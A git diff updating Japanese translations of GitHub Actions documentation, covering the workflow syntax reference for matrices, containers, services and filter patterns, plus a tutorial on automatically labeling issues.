 ### Example: Including additional values into combinations
 
-You can add additional configuration options to a build matrix job that already exists. For example, if you want to use a specific version of `npm` when the job that uses `windows-latest` and version 8 of `node` runs, you can use `include` to specify that additional option.
+既存のビルドマトリクスジョブに、設定オプションを追加できます。 For example, if you want to use a specific version of `npm` when the job that uses `windows-latest` and version 8 of `node` runs, you can use `include` to specify that additional option.
 
 {% raw %}
 ```yaml
@@ -1182,8 +1182,8 @@ strategy:
     os: [macos-latest, windows-latest, ubuntu-18.04]
     node: [8, 10, 12, 14]
     include:
-      # includes a new variable of npm with a value of 6
-      # for the matrix leg matching the os and version
+      # osとバージョンに一致するマトリックスレッグの値が
+      # 6 の npm の新しい変数を含む
       - os: windows-latest
         node: 8
         npm: 6
@@ -1192,7 +1192,7 @@ strategy:
 
 ### Example: Including new combinations
 
-You can use `include` to add new jobs to a build matrix. Any unmatched include configurations are added to the matrix. For example, if you want to use `node` version 14 to build on multiple operating systems, but wanted one extra experimental job using node version 15 on Ubuntu, you can use `include` to specify that additional job.
+`include`を使って新しいジョブを追加し、マトリックスを構築できます。 マッチしなかったincludeの設定があれば、マトリックスに追加されます。 For example, if you want to use `node` version 14 to build on multiple operating systems, but wanted one extra experimental job using node version 15 on Ubuntu, you can use `include` to specify that additional job.
 
 {% raw %}
 ```yaml
@@ -1210,7 +1210,7 @@ strategy:
 
 ### Example: Excluding configurations from a matrix
 
-You can remove a specific configurations defined in the build matrix using the `exclude` option. Using `exclude` removes a job defined by the build matrix. The number of jobs is the cross product of the number of operating systems (`os`) included in the arrays you provide, minus any subtractions (`exclude`).
+`exclude` オプションを使って、ビルドマトリクスに定義されている特定の設定を削除できます。 `exclude` を使うと、ビルドマトリクスにより定義されたジョブが削除されます。 ジョブの数は、指定する配列に含まれるオペレーティングシステム (`os`) の外積から、任意の減算 (`exclude`) で引いたものです。
 
 {% raw %}
 ```yaml
@@ -1220,7 +1220,7 @@ strategy:
     os: [macos-latest, windows-latest, ubuntu-18.04]
     node: [8, 10, 12, 14]
     exclude:
-      # excludes node 8 on macOS
+      # macOS のノード 8 を除外する
       - os: macos-latest
         node: 8
 ```
@@ -1228,23 +1228,23 @@ strategy:
 
 {% note %}
 
-**Note:** All `include` combinations are processed after `exclude`. This allows you to use `include` to add back combinations that were previously excluded.
+**ノート:** すべての`include`の組み合わせは、`exclude`の後に処理されます。 このため、`include`を使って以前に除外された組み合わせを追加し直すことができます。
 
 {% endnote %}
 
-#### Using environment variables in a matrix
+#### マトリックスで環境変数を使用する
 
-You can add custom environment variables for each test combination by using the `include` key. You can then refer to the custom environment variables in a later step.
+それぞれのテストの組み合わせに、`include`キーを使ってカスタムの環境変数を追加できます。 そして、後のステップでそのカスタムの環境変数を参照できます。
 
 {% data reusables.github-actions.matrix-variable-example %}
 
 ## `jobs.<job_id>.strategy.fail-fast`
 
-When set to `true`, {% data variables.product.prodname_dotcom %} cancels all in-progress jobs if any `matrix` job fails. Default: `true`
+`true`に設定すると、いずれかの`matrix`ジョブが失敗した場合に{% data variables.product.prodname_dotcom %}は進行中のジョブをすべてキャンセルします。 デフォルト: `true`
 
 ## `jobs.<job_id>.strategy.max-parallel`
 
-The maximum number of jobs that can run simultaneously when using a `matrix` job strategy. By default, {% data variables.product.prodname_dotcom %} will maximize the number of jobs run in parallel depending on the available runners on {% data variables.product.prodname_dotcom %}-hosted virtual machines.
+`matrix`ジョブ戦略を使用するとき、同時に実行できるジョブの最大数。 デフォルトでは、{% data variables.product.prodname_dotcom %}は{% data variables.product.prodname_dotcom %}がホストしている仮想マシン上で利用できるrunnerに応じてできるかぎりの数のジョブを並列に実行します。
 
 ```yaml
 strategy:
@@ -1253,11 +1253,11 @@ strategy:
 
 ## `jobs.<job_id>.continue-on-error`
 
-Prevents a workflow run from failing when a job fails. Set to `true` to allow a workflow run to pass when this job fails.
+ジョブが失敗した時に、ワークフローの実行が失敗にならないようにします。 `true`に設定すれば、ジョブが失敗した時にワークフローの実行が次へ進めるようになります。
 
 ### Example: Preventing a specific failing matrix job from failing a workflow run
 
-You can allow specific jobs in a job matrix to fail without failing the workflow run. For example, if you wanted to only allow an experimental job with `node` set to `15` to fail without failing the workflow run.
+ジョブマトリックス中の特定のジョブが失敗しても、ワークフローの実行が失敗にならないようにすることができます。 たとえば、`node`が`15`に設定された実験的なジョブが失敗しても、ワークフローの実行を失敗させないようにしたいとしましょう。
 
 {% raw %}
 ```yaml
@@ -1278,11 +1278,11 @@ strategy:
 
 ## `jobs.<job_id>.container`
 
-A container to run any steps in a job that don't already specify a container. If you have steps that use both script and container actions, the container actions will run as sibling containers on the same network with the same volume mounts.
+ジョブの中で、まだコンテナを指定していない手順を実行するコンテナ。 スクリプトアクションとコンテナアクションの両方を使うステップがある場合、コンテナアクションは同じボリュームマウントを使用して、同じネットワーク上にある兄弟コンテナとして実行されます。
 
-If you do not set a `container`, all steps will run directly on the host specified by `runs-on` unless a step refers to an action configured to run in a container.
+`container`を設定しない場合は、コンテナで実行されるよう設定されているアクションを参照しているステップを除くすべてのステップが、`runs-on`で指定したホストで直接実行されます。
 
-### Example
+### サンプル
 
 ```yaml
 jobs:
@@ -1298,7 +1298,7 @@ jobs:
       options: --cpus 1
 ```
 
-When you only specify a container image, you can omit the `image` keyword.
+コンテナイメージのみを指定する場合、`image`は省略できます。
 
 ```yaml
 jobs:
@@ -1308,13 +1308,13 @@ jobs:
 
 ## `jobs.<job_id>.container.image`
 
-The Docker image to use as the container to run the action. The value can be the Docker Hub image name or a  registry name.
+アクションを実行するコンテナとして使用するDockerイメージ。 The value can be the Docker Hub image name or a  registry name.
 
 ## `jobs.<job_id>.container.credentials`
 
 {% data reusables.actions.registry-credentials %}
 
-### Example
+### サンプル
 
 {% raw %}
 ```yaml
@@ -1328,23 +1328,23 @@ container:
 
 ## `jobs.<job_id>.container.env`
 
-Sets a `map` of environment variables in the container.
+コンテナ中の環境変数の`map`を設定します。
 
 ## `jobs.<job_id>.container.ports`
 
-Sets an `array` of ports to expose on the container.
+コンテナで公開するポートの`array`を設定します。
 
 ## `jobs.<job_id>.container.volumes`
 
-Sets an `array` of volumes for the container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host.
+使用するコンテナにボリュームの`array`を設定します。 volumes (ボリューム) を使用すると、サービス間で、または1つのジョブのステップ間でデータを共有できます。 指定できるのは、名前付きDockerボリューム、匿名Dockerボリューム、またはホスト上のバインドマウントです。
 
-To specify a volume, you specify the source and destination path:
+ボリュームを指定するには、ソースパスとターゲットパスを指定してください。
 
 `<source>:<destinationPath>`.
 
-The `<source>` is a volume name or an absolute path on the host machine, and `<destinationPath>` is an absolute path in the container.
+`<source>`は、ホストマシン上のボリューム名または絶対パス、`<destinationPath>`はコンテナでの絶対パスです。
 
-### Example
+### サンプル
 
 ```yaml
 volumes:
@@ -1355,7 +1355,7 @@ volumes:
 
 ## `jobs.<job_id>.container.options`
 
-Additional Docker container resource options. For a list of options, see "[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)."
+追加のDockerコンテナリソースのオプション。 オプションの一覧は、「[`docker create`のオプション](https://docs.docker.com/engine/reference/commandline/create/#options)」を参照してください。
 
 {% warning %}
 
@@ -1367,41 +1367,41 @@ Additional Docker container resource options. For a list of options, see "[`dock
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-Used to host service containers for a job in a workflow. Service containers are useful for creating databases or cache services like Redis. The runner  automatically creates a Docker network and manages the life cycle of the service containers.
+ワークフロー中のジョブのためのサービスコンテナをホストするために使われます。 サービスコンテナは、データベースやRedisのようなキャッシュサービスの作成に役立ちます。 ランナーは自動的にDockerネットワークを作成し、サービスコンテナのライフサイクルを管理します。
 
-If you configure your job to run in a container, or your step uses container actions, you don't need to map ports to access the service or action. Docker automatically exposes all ports between containers on the same Docker user-defined bridge network. You can directly reference the service container by its hostname. The hostname is automatically mapped to the label name you configure for the service in the workflow.
+コンテナを実行するようにジョブを設定した場合、あるいはステップがコンテナアクションを使う場合は、サービスもしくはアクションにアクセスするためにポートをマップする必要はありません。 Dockerは自動的に、同じDockerのユーザ定義ブリッジネットワーク上のコンテナ間のすべてのポートを公開します。 サービスコンテナは、ホスト名で直接参照できます。 ホスト名は自動的に、ワークフロー中のサービスに設定したラベル名にマップされます。
 
-If you configure the job to run directly on the runner machine and your step doesn't use a container action, you must map any required Docker service container ports to the Docker host (the runner machine). You can access the service container using localhost and the mapped port.
+ランナーマシン上で直接実行されるようにジョブを設定し、ステップがコンテナアクションを使わないのであれば、必要なDockerサービスコンテナのポートはDockerホスト（ランナーマシン）にマップしなければなりません サービスコンテナには、localhostとマップされたポートを使ってアクセスできます。
 
-For more information about the differences between networking service containers, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers)."
+ネットワーキングサービスコンテナ間の差異に関する詳しい情報については「[サービスコンテナについて](/actions/automating-your-workflow-with-github-actions/about-service-containers)」を参照してください。
 
 ### Example: Using localhost
 
-This example creates two services: nginx and redis. When you specify the Docker host port but not the container port, the container port is randomly assigned to a free port. {% data variables.product.prodname_dotcom %} sets the assigned container port in the {% raw %}`${{job.services.<service_name>.ports}}`{% endraw %} context. In this example, you can access the service container ports using the {% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} and {% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} contexts.
+この例では、nginxとredisという2つのサービスを作成します。 Dockerホストのポートを指定して、コンテナのポートを指定しなかった場合、コンテナのポートは空いているポートにランダムに割り当てられます。 {% data variables.product.prodname_dotcom %}は、割り当てられたコンテナポートを{% raw %}`${{job.services.<service_name>.ports}}`{% endraw %}コンテキストに設定します。 以下の例では、サービスコンテナのポートへは{% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} 及び{% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} コンテキストでアクセスできます。
 
 ```yaml
 services:
   nginx:
     image: nginx
-    # Map port 8080 on the Docker host to port 80 on the nginx container
+    # Dockerホストのポート8080をnginxコンテナのポート80にマップする
     ports:
       - 8080:80
   redis:
     image: redis
-    # Map TCP port 6379 on Docker host to a random free port on the Redis container
+    # Dockerホストのポート6379をRedisコンテナのランダムな空きポートにマップする
     ports:
       - 6379/tcp
 ```
 
 ## `jobs.<job_id>.services.<service_id>.image`
 
-The Docker image to use as the service container to run the action. The value can be the Docker Hub image name or a  registry name.
+アクションを実行するサービスコンテナとして使用するDockerイメージ。 The value can be the Docker Hub image name or a  registry name.
 
 ## `jobs.<job_id>.services.<service_id>.credentials`
 
 {% data reusables.actions.registry-credentials %}
 
-### Example
+### サンプル
 
 {% raw %}
 ```yaml
@@ -1421,23 +1421,23 @@ services:
 
 ## `jobs.<job_id>.services.<service_id>.env`
 
-Sets a `map` of environment variables in the service container.
+サービスコンテナ中の環境変数の`map`を設定します。
 
 ## `jobs.<job_id>.services.<service_id>.ports`
 
-Sets an `array` of ports to expose on the service container.
+サービスコンテナで公開するポートの`array`を設定します。
 
 ## `jobs.<job_id>.services.<service_id>.volumes`
 
-Sets an `array` of volumes for the service container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host.
+使用するサービスコンテナにボリュームの`array`を設定します。 volumes (ボリューム) を使用すると、サービス間で、または1つのジョブのステップ間でデータを共有できます。 指定できるのは、名前付きDockerボリューム、匿名Dockerボリューム、またはホスト上のバインドマウントです。
 
-To specify a volume, you specify the source and destination path:
+ボリュームを指定するには、ソースパスとターゲットパスを指定してください。
 
 `<source>:<destinationPath>`.
 
-The `<source>` is a volume name or an absolute path on the host machine, and `<destinationPath>` is an absolute path in the container.
+`<source>`は、ホストマシン上のボリューム名または絶対パス、`<destinationPath>`はコンテナでの絶対パスです。
 
-### Example
+### サンプル
 
 ```yaml
 volumes:
@@ -1448,7 +1448,7 @@ volumes:
 
 ## `jobs.<job_id>.services.<service_id>.options`
 
-Additional Docker container resource options. For a list of options, see "[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)."
+追加のDockerコンテナリソースのオプション。 オプションの一覧は、「[`docker create`のオプション](https://docs.docker.com/engine/reference/commandline/create/#options)」を参照してください。
 
 {% warning %}
 
@@ -1459,13 +1459,13 @@ Additional Docker container resource options. For a list of options, see "[`dock
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
 ## `jobs.<job_id>.uses`
 
-The location and version of a reusable workflow file to run as a job. 
+The location and version of a reusable workflow file to run as a job.
 
 `{owner}/{repo}/{path}/{filename}@{ref}`
 
-`{ref}` can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security. For more information, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)."
+`{ref}` can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security. 詳しい情報については「[GitHub Actionsのためのセキュリティ強化](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)」を参照してください。
 
-### Example
+### サンプル
 
 {% data reusables.actions.uses-keyword-example %}
 
@@ -1479,7 +1479,7 @@ Any inputs that you pass must match the input specifications defined in the call
 
 Unlike [`jobs.<job_id>.steps[*].with`](#jobsjob_idstepswith), the inputs you pass with `jobs.<job_id>.with` are not be available as environment variables in the called workflow. Instead, you can reference the inputs by using the `inputs` context.
 
-### Example
+### サンプル
 
 ```yaml
 jobs:
@@ -1501,7 +1501,7 @@ When a job is used to call a reusable workflow, you can use `secrets` to provide
 
 Any secrets that you pass must match the names defined in the called workflow.
 
-### Example
+### サンプル
 
 {% raw %}
 ```yaml
@@ -1520,61 +1520,61 @@ A pair consisting of a string identifier for the secret and the value of the sec
 Allowed expression contexts: `github`, `needs`, and `secrets`.
 {% endif %}
 
-## Filter pattern cheat sheet
+## フィルタパターンのチートシート
 
-You can use special characters in path, branch, and tag filters.
+特別なキャラクタをパス、ブランチ、タグフィルタで利用できます。
 
-- `*`: Matches zero or more characters, but does not match the `/` character. For example, `Octo*` matches `Octocat`.
-- `**`: Matches zero or more of any character.
+- `*`ゼロ個以上のキャラクタにマッチしますが、`/`にはマッチしません。 たとえば`Octo*`は`Octocat`にマッチします。
+- `**`ゼロ個以上の任意のキャラクタにマッチします。
 - `?`: Matches zero or one of the preceding character.
-- `+`: Matches one or more of the preceding character.
-- `[]` Matches one character listed in the brackets or included in ranges. Ranges can only include `a-z`, `A-Z`, and `0-9`. For example, the range`[0-9a-z]` matches any digit or lowercase letter. For example, `[CB]at` matches `Cat` or `Bat` and `[1-2]00` matches `100` and `200`.
-- `!`: At the start of a pattern makes it negate previous positive patterns. It has no special meaning if not the first character.
+- `+`: 直前の文字の 1 つ以上に一致します。
+- `[]` 括弧内にリストされた、あるいは範囲に含まれる1つのキャラクタにマッチします。 範囲に含めることができるのは`a-z`、`A-Z`、`0-9`のみです。 たとえば、`[0-9a-z]`という範囲は任意の数字もしくは小文字にマッチします。 たとえば`[CB]at`は`Cat`あるいは`Bat`にマッチし、`[1-2]00`は`100`や`200`にマッチします。
+- `!`: パターンの先頭に置くと、肯定のパターンを否定にします。 先頭のキャラクタではない場合は、特別な意味を持ちません。
 
-The characters `*`, `[`, and `!` are special characters in YAML. If you start a pattern with `*`, `[`, or `!`, you must enclose the pattern in quotes.
+YAMLにおいては、`*`、`[`、`!`は特別なキャラクタです。 パターンを`*`、`[`、`!`で始める場合、そのパターンをクオートで囲まなければなりません。
 
 ```yaml
-# Valid
+# 有効
 - '**/README.md'
 
-# Invalid - creates a parse error that
-# prevents your workflow from running.
+# 無効 - ワークフローの実行を妨げる
+# 解析エラーを作成する
 - **/README.md
 ```
 
-For more information about branch, tag, and path filter syntax, see "[`on.<push|pull_request>.<branches|tags>`](#onpushpull_requestbranchestags)" and "[`on.<push|pull_request>.paths`](#onpushpull_requestpaths)."
+ブランチ、タグ、およびパスフィルタの文法に関する詳しい情報については、「[`on.<push|pull_request>.<branches|tags>`](#onpushpull_requestbranchestags)」および「[`on.<push|pull_request>.paths`](#onpushpull_requestpaths)」を参照してください。
 
-### Patterns to match branches and tags
+### ブランチやタグにマッチするパターン
 
-| Pattern | Description | Example matches |
-|---------|------------------------|---------|
-| `feature/*` | The `*` wildcard matches any character, but does not match slash (`/`). |  `feature/my-branch`<br/><br/>`feature/your-branch` |
-| `feature/**` | The `**` wildcard matches any character including slash (`/`) in branch and tag names. | `feature/beta-a/my-branch`<br/><br/>`feature/your-branch`<br/><br/>`feature/mona/the/octocat` |
-| `main`<br/><br/>`releases/mona-the-octocat` | Matches the exact name of a branch or tag name. | `main`<br/><br/>`releases/mona-the-octocat` |
-| `'*'` | Matches all branch and tag names that don't contain a slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `main`<br/><br/>`releases` |
-| `'**'` | Matches all branch and tag names. This is the default behavior when you don't use a `branches` or `tags` filter. | `all/the/branches`<br/><br/>`every/tag` |
-| `'*feature'` | The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `mona-feature`<br/><br/>`feature`<br/><br/>`ver-10-feature` |
-| `v2*` | Matches branch and tag names that start with `v2`. | `v2`<br/><br/>`v2.0`<br/><br/>`v2.9` |
-| `v[12].[0-9]+.[0-9]+` | Matches all semantic versioning branches and tags with major version 1 or 2 | `v1.10.1`<br/><br/>`v2.0.0` |
+| パターン                                                    | 説明                                                                                             | マッチの例                                                                                                                 |
+| ------------------------------------------------------- | ---------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- |
+| `feature/*`                                             | ワイルドカードの`*`は任意のキャラクタにマッチしますが、スラッシュ（`/`）にはマッチしません。                                              | `feature/my-branch`<br/><br/>`feature/your-branch`                                                        |
+| `feature/**`                                            | ワイルドカードの`**`は、ブランチ及びタグ名のスラッシュ（`/`）を含む任意のキャラクタにマッチします。                                          | `feature/beta-a/my-branch`<br/><br/>`feature/your-branch`<br/><br/>`feature/mona/the/octocat` |
+| `main`<br/><br/>`releases/mona-the-octocat` | ブランチあるいはタグ名に完全に一致したときにマッチします。                                                                  | `main`<br/><br/>`releases/mona-the-octocat`                                                               |
+| `'*'`                                                   | スラッシュ（`/`）を含まないすべてのブランチ及びタグ名にマッチします。 `*`はYAMLにおける特別なキャラクタです。 パターンを`*`で始める場合は、クオートを使わなければなりません。 | `main`<br/><br/>`releases`                                                                                |
+| `'**'`                                                  | すべてのブランチ及びタグ名にマッチします。 これは `branches`あるいは`tags`フィルタを使わない場合のデフォルトの動作です。                          | `all/the/branches`<br/><br/>`every/tag`                                                                   |
+| `'*feature'`                                            | `*`はYAMLにおける特別なキャラクタです。 パターンを`*`で始める場合は、クオートを使わなければなりません。                                      | `mona-feature`<br/><br/>`feature`<br/><br/>`ver-10-feature`                                   |
+| `v2*`                                                   | `v2`で始めるブランチ及びタグ名にマッチします。                                                                      | `v2`<br/><br/>`v2.0`<br/><br/>`v2.9`                                                          |
+| `v[12].[0-9]+.[0-9]+`                                   | メジャーバージョンが1もしくは2のすべてのセマンティックバージョニングブランチとタグにマッチします。                                             | `v1.10.1`<br/><br/>`v2.0.0`                                                                               |
 
-### Patterns to match file paths
+### ファイルパスにマッチするパターン
 
-Path patterns must match the whole path, and start from the repository's root.
+パスパターンはパス全体にマッチしなければならず、リポジトリのルートを出発点とします。
 
-| Pattern | Description of matches | Example matches |
-|---------|------------------------|-----------------|
-| `'*'` | The `*` wildcard matches any character, but does not match slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `README.md`<br/><br/>`server.rb` |
-| `'*.jsx?'` | The `?` character matches zero or one of the preceding character. | `page.js`<br/><br/>`page.jsx` |
-| `'**'` | The `**` wildcard matches any character including slash (`/`). This is the default behavior when you don't use a `path` filter. | `all/the/files.md` |
-| `'*.js'` | The `*` wildcard matches any character, but does not match slash (`/`). Matches all `.js` files at the root of the repository. | `app.js`<br/><br/>`index.js`
-| `'**.js'` | Matches all `.js` files in the repository. | `index.js`<br/><br/>`js/index.js`<br/><br/>`src/js/app.js` |
-| `docs/*`  | All files within the root of the `docs` directory, at the root of the repository. | `docs/README.md`<br/><br/>`docs/file.txt` |
-| `docs/**` | Any files in the `/docs` directory at the root of the repository. | `docs/README.md`<br/><br/>`docs/mona/octocat.txt` |
-| `docs/**/*.md` | A file with a `.md` suffix anywhere in the `docs` directory. | `docs/README.md`<br/><br/>`docs/mona/hello-world.md`<br/><br/>`docs/a/markdown/file.md`
-| `'**/docs/**'`   | Any files in a `docs` directory anywhere in the repository. | `docs/hello.md`<br/><br/>`dir/docs/my-file.txt`<br/><br/>`space/docs/plan/space.doc`
-| `'**/README.md'` | A README.md file anywhere in the repository. | `README.md`<br/><br/>`js/README.md`
-| `'**/*src/**'` | Any file in a folder with a `src` suffix anywhere in the repository. | `a/src/app.js`<br/><br/>`my-src/code/js/app.js`
-| `'**/*-post.md'` | A file with the suffix `-post.md` anywhere in the repository. | `my-post.md`<br/><br/>`path/their-post.md` |
-| `'**/migrate-*.sql'` | A file with the prefix `migrate-` and suffix `.sql` anywhere in the repository. | `migrate-10909.sql`<br/><br/>`db/migrate-v1.0.sql`<br/><br/>`db/sept/migrate-v1.sql` |
-| `*.md`<br/><br/>`!README.md` | Using an exclamation mark (`!`) in front of a pattern negates it. When a file matches a pattern and also matches a negative pattern defined later in the file, the file will not be included. | `hello.md`<br/><br/>_Does not match_<br/><br/>`README.md`<br/><br/>`docs/hello.md` |
-| `*.md`<br/><br/>`!README.md`<br/><br/>`README*` | Patterns are checked sequentially. A pattern that negates a previous pattern will re-include file paths. | `hello.md`<br/><br/>`README.md`<br/><br/>`README.doc`|
+| パターン                                                                    | マッチの説明                                                                                                      | マッチの例                                                                                                                    |
+| ----------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------ |
+| `'*'`                                                                   | ワイルドカードの`*`は任意のキャラクタにマッチしますが、スラッシュ（`/`）にはマッチしません。 `*`はYAMLにおける特別なキャラクタです。 パターンを`*`で始める場合は、クオートを使わなければなりません。 | `README.md`<br/><br/>`server.rb`                                                                             |
+| `'*.jsx?'`                                                              | `?`はゼロ個以上の先行するキャラクタにマッチします。                                                                                 | `page.js`<br/><br/>`page.jsx`                                                                                |
+| `'**'`                                                                  | ワイルドカードの`**`は、スラッシュ（`/`）を含む任意のキャラクタにマッチします。 これは `path`フィルタを使わない場合のデフォルトの動作です。                               | `all/the/files.md`                                                                                                       |
+| `'*.js'`                                                                | ワイルドカードの`*`は任意のキャラクタにマッチしますが、スラッシュ（`/`）にはマッチしません。 リポジトリのルートにあるすべての`.js`ファイルにマッチします。                         | `app.js`<br/><br/>`index.js`                                                                                 |
+| `'**.js'`                                                               | リポジトリ内のすべての`.js`ファイルにマッチします。                                                                                | `index.js`<br/><br/>`js/index.js`<br/><br/>`src/js/app.js`                                       |
+| `docs/*`                                                                | リポジトリのルートの`docs`のルートにあるすべてのファイルにマッチします。                                                                     | `docs/README.md`<br/><br/>`docs/file.txt`                                                                    |
+| `docs/**`                                                               | リポジトリのルートの`docs`内にあるすべてのファイルにマッチします。                                                                        | `docs/README.md`<br/><br/>`docs/mona/octocat.txt`                                                            |
+| `docs/**/*.md`                                                          | `docs`ディレクトリ内にある`.md`というサフィックスを持つファイルにマッチします。                                                               | `docs/README.md`<br/><br/>`docs/mona/hello-world.md`<br/><br/>`docs/a/markdown/file.md`          |
+| `'**/docs/**'`                                                          | リポジトリ内にある`docs`ディレクトリ内のすべてのファイルにマッチします、                                                                     | `docs/hello.md`<br/><br/>`dir/docs/my-file.txt`<br/><br/>`space/docs/plan/space.doc`             |
+| `'**/README.md'`                                                        | リポジトリ内にあるREADME.mdファイルにマッチします。                                                                              | `README.md`<br/><br/>`js/README.md`                                                                          |
+| `'**/*src/**'`                                                          | リポジトリ内にある`src`というサフィックスを持つフォルダ内のすべてのファイルにマッチします。                                                            | `a/src/app.js`<br/><br/>`my-src/code/js/app.js`                                                              |
+| `'**/*-post.md'`                                                        | リポジトリ内にある`-post.md`というサフィックスを持つファイルにマッチします。                                                                 | `my-post.md`<br/><br/>`path/their-post.md`                                                                   |
+| `'**/migrate-*.sql'`                                                    | リポジトリ内の`migrate-`というプレフィックスと`.sql`というサフィックスを持つファイルにマッチします。                                                  | `migrate-10909.sql`<br/><br/>`db/migrate-v1.0.sql`<br/><br/>`db/sept/migrate-v1.sql`             |
+| `*.md`<br/><br/>`!README.md`                                | 感嘆符（`!`）をパターンの前に置くと、そのパターンの否定になります。 あるファイルがあるパターンにマッチし、ファイル中でその後に定義されている否定パターンにマッチした場合、そのファイルは含まれません。       | `hello.md`<br/><br/>_Does not match_<br/><br/>`README.md`<br/><br/>`docs/hello.md` |
+| `*.md`<br/><br/>`!README.md`<br/><br/>`README*` | パターンは順番にチェックされます。 先行するパターンを否定するパターンで、ファイルパスが再度含まれるようになります。                                                  | `hello.md`<br/><br/>`README.md`<br/><br/>`README.doc`                                            |
diff --git a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
index 20a2edd4b6..b9de0d60e3 100644
--- a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
+++ b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
@@ -1,6 +1,6 @@
 ---
-title: Adding labels to issues
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically label issues.'
+title: Issue にラベルを追加する
+intro: '{% data variables.product.prodname_actions %} を使用して、Issue に自動的にラベルを付けることができます。'
 redirect_from:
   - /actions/guides/adding-labels-to-issues
 versions:
@@ -17,17 +17,17 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This tutorial demonstrates how to use the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler) in a workflow to label newly opened or reopened issues. For example, you can add the `triage` label every time an issue is opened or reopened. Then, you can see all issues that need to be triaged by filtering for issues with the `triage` label.
+このチュートリアルでは、ワークフローで [`andymckay/labeler` アクション](https://github.com/marketplace/actions/simple-issue-labeler)を使用して、新たにオープンされた Issue または再オープンされた Issue にラベルを付ける方法を説明します。 たとえば、Issue をオープンまたは再オープンするたびに `triage` ラベルを追加できます。 次に、`triage` ラベルの Issue をフィルタすることで、トリアージする必要のあるすべての Issue を確認できます。
 
-In the tutorial, you will first make a workflow file that uses the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler). Then, you will customize the workflow to suit your needs.
+チュートリアルでは、最初に [`andymckay/labeler` アクション](https://github.com/marketplace/actions/simple-issue-labeler)を使用するワークフローファイルを作成します。 次に、ニーズに合わせてワークフローをカスタマイズします。
 
-## Creating the workflow
+## ワークフローの作成
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. 次の YAML コンテンツをワークフローファイルにコピーします。
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -51,22 +51,22 @@ In the tutorial, you will first make a workflow file that uses the [`andymckay/l
               repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-4. Customize the parameters in your workflow file:
-   - Change the value for `add-labels` to the list of labels that you want to add to the issue. Separate multiple labels with commas. For example, `"help wanted, good first issue"`. For more information about labels, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
+4. ワークフローファイルのパラメータをカスタマイズします。
+   - `add-labels` の値を、Issue に追加するラベルのリストに変更します。 複数のラベルはコンマで区切ります。 たとえば、`"help wanted, good first issue"` というようにします。 ラベルの詳細については、「[ラベルを管理する](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests) 」を参照してください。
 5. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## ワークフローのテスト
 
-Every time an issue in your repository is opened or reopened, this workflow will add the labels that you specified to the issue.
+リポジトリ内の Issue をオープンするか再オープンするたびに、このワークフローは指定したラベルを Issue に追加します。
 
-Test out your workflow by creating an issue in your repository.
+リポジトリに Issue を作成して、ワークフローをテストします。
 
-1. Create an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. To see the workflow run that was triggered by creating the issue, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-3. When the workflow completes, the issue that you created should have the specified labels added.
+1. リポジトリで Issue を作成します。 詳しい情報については、「[>Issue を作成する](/github/managing-your-work-on-github/creating-an-issue)」を参照してください。
+2. Issue の作成によってトリガーされたワークフローの実行を確認するには、ワークフローの実行履歴を表示します。 詳しい情報については、「[ワークフロー実行の履歴を表示する](/actions/managing-workflow-runs/viewing-workflow-run-history)」を参照してください。
+3. ワークフローが完了すると、作成した Issue に指定されたラベルが追加されます。
 
-## Next steps
+## 次のステップ
 
-- To learn more about additional things you can do with the `andymckay/labeler` action, like removing labels or skipping this action if the issue is assigned or has a specific label, see the [`andymckay/labeler` action documentation](https://github.com/marketplace/actions/simple-issue-labeler).
-- To learn more about different events that can trigger your workflow, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#issues)." The `andymckay/labeler` action only works on `issues`, `pull_request`, or `project_card` events.
-- [Search GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) for examples of workflows using this action.
